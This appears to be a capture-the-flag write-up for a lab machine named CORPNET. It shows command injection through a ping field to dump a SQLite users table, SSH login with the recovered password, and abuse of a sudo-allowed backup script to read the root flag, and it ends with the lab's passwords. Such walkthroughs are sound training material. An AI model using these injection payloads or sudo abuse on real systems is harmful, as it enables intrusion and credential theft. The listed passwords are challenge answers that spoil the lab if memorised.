CORPNET

Initial Access

1. Navigate to the web application running on port 8080.
2. Identified a command injection vulnerability in the "IP Address to ping" input box.
3. Exploited the vulnerability to execute system commands:
    - `;ls` -Listed "`users.db`"- Confirmed the existence of a potential SQLite database file.
    - `;sqlite3 /var/www/html/users.db "SELECT * FROM users;"` - Extracted username and password from the database.

Privilege Escalation

1. Used the obtained credentials to establish an SSH connection:
    - `ssh devuser@localhost -p 2222` (password: `secretpass123`)
2. read the user flag:
    - `cat flag.txt`
3. Enumerated sudo privileges:
    - `sudo -l` - Revealed that the 'devuser' can run a script named 'backup.sh' as root.
4. Abused the sudo permissions to backup the root flag to a readable location:
    - `sudo /usr/local/bin/backup.sh /root/flag.txt`

Capture the Flag

1. The root flag is now available in the `/tmp` directory.
2. Read the root flag:
    - `cat /tmp/flag.txt`

USER PASSWORD : secretpass123
ROOT PASSWORD : CbBdzZQThaYRA8ScrGPDWx